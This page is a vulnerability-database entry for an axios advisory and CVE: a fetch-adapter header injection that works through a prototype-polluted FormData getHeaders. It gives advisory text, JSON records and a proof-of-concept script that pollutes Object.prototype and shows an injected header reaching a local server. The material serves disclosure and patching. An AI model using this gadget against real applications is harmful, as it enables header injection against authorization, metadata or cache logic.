Vulnerability-Lookup

GHSA-4HQW-QXG8-JXX2

Vulnerability from github – Published: 2026-09-30 15:34 – Updated: 2026-09-30 15:34

Summary

Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

Details

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

Fetch adapter requests.
resolveConfig() handling of utils.isFormData(data).
Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders.
Plain object request bodies rejected by current isFormData() plain-object guard.
Processes without prototype pollution.

Technical Details

lib/helpers/resolveConfig.js currently contains:

if (utils.isFormData(data)) {
  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
    headers.setContentType(undefined);
  } else if (utils.isFunction(data.getHeaders)) {
    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
  }
}

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

Original report

## Summary The Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`. This is a patch mismatch for the FormData prototype-pollution header-injection class. ## Affected Version Validated on: - axios: `1.17.0` - commit: `4306df2` - runtime: Node.js `v24.15.0` ## Preconditions - Application uses `adapter: 'fetch'`. - A separate prototype-pollution primitive can write: - `Object.prototype[Symbol.toStringTag] = 'FormData'` - `Object.prototype.append = function () {}` - `Object.prototype.getHeaders = function () { ... }` - The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard. ## Root Cause `lib/adapters/http.js` contains:

data.getHeaders !== Object.prototype.getHeaders

But `lib/helpers/resolveConfig.js` only checks:

} else if (utils.isFunction(data.getHeaders)) {
  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}

The fetch adapter calls `resolveConfig(config)` before dispatching the request. ## Impact An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks. ## Proof of Concept

import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer((req, res) => {
    let body = '';
    req.on('data', (chunk) => (body += chunk));
    req.on('end', () => handler(req, res, body));
  });
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];
const tag = Symbol.toStringTag;

const server = await start((req, res, body) => {
  hits.push({ headers: req.headers, body });
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype[tag] = 'FormData';
  Object.prototype.append = function () {};
  Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    headers['X-Poisoned'] = 'yes';
    return headers;
  };

  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
    adapter: 'fetch',
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype[tag];
  delete Object.prototype.append;
  delete Object.prototype.getHeaders;
  await stop(server);
}

Observed wire request:

{
  "headers": {
    "x-poisoned": "yes",
    "content-type": "text/plain;charset=UTF-8",
    "content-length": "3"
  },
  "body": "a,b"
}

## References - https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 - https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 - Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-693",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:34:46Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter\u0027s later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n    headers.setContentType(undefined);\n  } else if (utils.isFunction(data.getHeaders)) {\n    setFormDataHeaders(headers, data.getHeaders(), own(\u0027formDataHeaderPolicy\u0027));\n  }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: \u0027fetch\u0027`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () =\u003e ({ \u0027X-Poisoned\u0027: \u0027yes\u0027 });\n\nawait axios.post(url, [\u0027a\u0027, \u0027b\u0027], { adapter: \u0027fetch\u0027 });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: \u0027fetch\u0027`.\n- A separate prototype-pollution primitive can write:\n  - `Object.prototype[Symbol.toStringTag] = \u0027FormData\u0027`\n  - `Object.prototype.append = function () {}`\n  - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n  setFormDataHeaders(headers, data.getHeaders(), own(\u0027formDataHeaderPolicy\u0027));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from \u0027./index.js\u0027;\nimport http from \u0027http\u0027;\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer((req, res) =\u003e {\n    let body = \u0027\u0027;\n    req.on(\u0027data\u0027, (chunk) =\u003e (body += chunk));\n    req.on(\u0027end\u0027, () =\u003e handler(req, res, body));\n  });\n  server.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) =\u003e {\n  hits.push({ headers: req.headers, body });\n  res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n  res.end(\u0027{\"ok\":true}\u0027);\n});\n\ntry {\n  Object.prototype[tag] = \u0027FormData\u0027;\n  Object.prototype.append = function () {};\n  Object.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    headers[\u0027X-Poisoned\u0027] = \u0027yes\u0027;\n    return headers;\n  };\n\n  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, [\u0027a\u0027, \u0027b\u0027], {\n    adapter: \u0027fetch\u0027,\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype[tag];\n  delete Object.prototype.append;\n  delete Object.prototype.getHeaders;\n  await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n  \"headers\": {\n    \"x-poisoned\": \"yes\",\n    \"content-type\": \"text/plain;charset=UTF-8\",\n    \"content-length\": \"3\"\n  },\n  \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n\u003c/details\u003e\n\n---",
  "id": "GHSA-4hqw-qxg8-jxx2",
  "modified": "2026-09-30T15:34:46Z",
  "published": "2026-09-30T15:34:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101900"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders"
}

CVE-2026-101900 (GCVE-0-2026-101900)

Vulnerability from cvelistv5 – Published: 2026-09-28 17:14 – Updated: 2026-09-28 17:49

Title

Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

Summary

Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-28 17:48 UTC

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-693 - Protection Mechanism Failure
CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/axios/axios/security/advisorie…	x_refsource_CONFIRM
https://github.com/axios/axios/pull/11141	x_refsource_MISC
https://github.com/axios/axios/commit/d19040bda7a…	x_refsource_MISC
https://github.com/axios/axios/releases/tag/v1.20.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
axios	axios	Affected: >= 1.12.0, < 1.20.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-101900",
                "options": [
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                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-28T17:48:51.957700Z",
                "version": "2.0.3"
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            "tags": [
              "exploit"
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            "url": "https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2"
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    ],
    "cna": {
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          "product": "axios",
          "vendor": "axios",
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          "lang": "en",
          "value": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0."
        }
      ],
      "metrics": [
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            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
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            "version": "4.0",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-4HQW-QXG8-JXX2

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Original report

CVE-2026-101900 (GCVE-0-2026-101900)

Tags

Sightings

Nomenclature

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